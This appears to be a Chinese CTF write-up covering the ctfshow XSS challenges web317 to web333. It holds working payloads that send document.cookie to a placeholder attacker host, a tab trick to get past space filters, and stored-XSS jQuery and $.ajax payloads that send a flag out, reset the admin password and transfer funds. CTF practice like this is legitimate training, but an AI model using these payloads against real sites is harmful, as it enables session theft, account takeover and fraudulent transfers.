ctfshow XSS

收集一下可用的姿势吧,
window.open:open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。
location.href=”/url” 当前页面打开URL页面
windows.location.href=”/url” 当前页面打开URL页面
onfocus 事件在对象获得焦点时发生
autofocus 属性规定当页面加载时 input 元素应该自动获得焦点。

<script>window.open('http://ip:端口/'+document.cookie)</script>

<script>window.location.href='http://ip:端口/'+document.cookie</script>

<script>location.href='http://ip:端口/'+document.cookie</script>

<input onfocus="window.open('http://ip:端口/'+document.cookie)" autofocus>
# 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

onload 事件会在页面或图像加载完成后立即发生。

svg标签

<svg onload="window.open('http://ip:端口/'+document.cookie)">

iframe标签

<iframe onload="window.open('http://ip:端口/'+document.cookie)"></iframe>

body标签

<body onload="window.open('http://ip:端口/'+document.cookie)">

前面一直用xss平台打cookie,因为很多平台需要注册需要个人信息,然后感觉哪个平台一键打,学不到东西,所以就自己用代码和vps接收。

python3 -m http.server 端口

web317

上面的方法挑一种即可可以用。

web318

过滤了img,上面的很多方法都可以用。

web319

同上

web320

把空格给过滤了,就拿%09的url解码得到的TAB来过滤。

<iframe	onload="window.open('http://ip:端口/'+document.cookie)"></iframe>

web322-326

这边用上面的poc基本都能打,空格记得绕一下

web327

这一题开始就是存储型了,这题的思路是这样的,我们要获取到管理员cookie,因为这边管理员可以查看到账户用户和密码,所以我们这边直接通过在注册的地方放入我们的代码,这样的话当管理员看到账号密码的时候就可以获取到cookie,这边我们需要注意一下就是那个账号密码的地方有没有过滤,或者有单双引号。
在这里插入图片描述

web328

这里我们重点注意一下这题,这一题用上面的方法是打不通的,所以但是却可以执行js代码,可能是管理员登入进去又登出了账号,导致我们的cookie失效了。因为这边可以执行代码所以我们可以使用jQuery,在我接触这个题的以前我是从来没学过jQuery,但是咱们今天碰到了,就去学习一下,笔记技多不压身。

首先我们认识一下什么是jQuery
jQuery 是一个 JavaScript 函数库。

jQuery 是一个轻量级的"写的少,做的多"的 JavaScript 库。

jQuery 库包含以下功能:

- HTML 元素选取
- HTML 元素操作
- CSS 操作
- HTML 事件函数
- JavaScript 特效和动画
- HTML DOM 遍历和修改
- AJAX
- Utilities
提示: 除此之外,jQuery 还提供了大量的插件。

在这里插入图片描述

详细教程可以去这里看jQuery

首先我们先观察一下这里的标签是哪个
在这里插入图片描述
首先先用这句来测试一下,这个标签对不对。

$('.laytable-cell-1-0-1').each(function(index,value){console.log(value);});

在这里插入图片描述
可以看到已经打印出来了,接下来再用判断读取来提权flag的值

$('.laytable-cell-1-0-1').each(function(index,value)
{if(value.innerHTML.indexOf('ctfshow')>-1){
window.location.href='http://ip:端口/?1='+value.innerHTML;}
});

在这里插入图片描述
可以看到已经把我们的flag给读出来了,所以我们这里就可以利用了,利用的时候记得加上script

<script>$('.laytable-cell-1-0-1').each(function(index,value)
{if(value.innerHTML.indexOf('ctfshow')>-1){
window.location.href='http://ip:端口/?1='+value.innerHTML;}
});</script>

在这里插入图片描述
注册用户后这里的密码就出来了,我们直接登入,但是想要flag的话还是要抓包,才能抓到flag,不然这里会跳转页面。
在这里插入图片描述

web330

首先这一题相对上一题,多了这个修改密码。
在这里插入图片描述
首先我们先用我们上次的poc打一下试一下,什么都没有接收到
在这里插入图片描述
这里我们就需要考虑是过滤了还是转意了,或者还有一种情况就是密码里面根本就没有包含ctfshow的flag

<script>location.href='http://ip:端口/?1=111';</script>

在这里插入图片描述
这边测试了一下发现是没有过滤的,所以我们这边可以找其他的方法,这边不是多出来一个修改密码吗,事出反常必有妖,所以我们可以想到修改管理员密码,抓包
在这里插入图片描述
这边可以看到请求的数据,所以我们直接构造poc

<script>location.href='http://127.0.0.1/api/change.php?p=999';</script>

在用户名那边注册即可,抓包即可。
在这里插入图片描述

web331 jQuery 之 post提交

拿到题目还是这样的,这边先试一下前面的poc
在这里插入图片描述
用了一下之后发现没有用,这里开始找原因,这边咱们抓个包发现post提交在这里插入图片描述
这时候就可以用到jQuery ajax() 方法,参考链接
这边查看源代码跟着一起构造
在这里插入图片描述
poc

<script>$.ajax({
      url:'api/change.php',
      type:'post',
      data:{
        p:111
      }});
</script>

用户名提交就是了,修改密码成功。
在这里插入图片描述

web332

打开题目一看,好家伙需要购买flag,还有点小贵
在这里插入图片描述
在这里插入图片描述
这边需要先注册两个小号,先相互转钱,测试一下,发现不多转,但是每个小号只有五块钱,总不至于,一直注册小号一直转5块钱吧,这得转到猴年马月啊,根据做上一题的经验,我们这一题可以直接让管理员转钱,思路还是和上题一样。
在这里插入图片描述
这边知道了如何提交的参数,我们直接构造出poc

<script>$.ajax({
      url:'/api/amount.php',
      type:'post',
      data:{
	u:111,
	a:9999
      }});
</script>

在这里插入图片描述
然后咱们就可以开心的买flag了。

web333 和上一题一样

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值